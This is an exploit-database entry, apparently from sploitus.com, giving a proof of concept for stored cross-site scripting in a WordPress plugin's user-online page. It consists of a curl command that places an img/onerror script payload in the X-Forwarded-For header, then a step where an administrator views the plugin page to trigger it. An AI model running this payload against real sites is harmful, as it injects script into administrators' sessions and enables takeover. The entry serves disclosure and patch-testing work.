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## https://sploitus.com/exploit?id=WPEX-ID:55D23184-FC5A-4090-B079-142407B59B05
curl https://example.com -H 'X-Forwarded-For: <img src=x onerror=alert(/xss/)>'

Then, as a high-privileged user, visit `/wp-admin/index.php?page=useronline`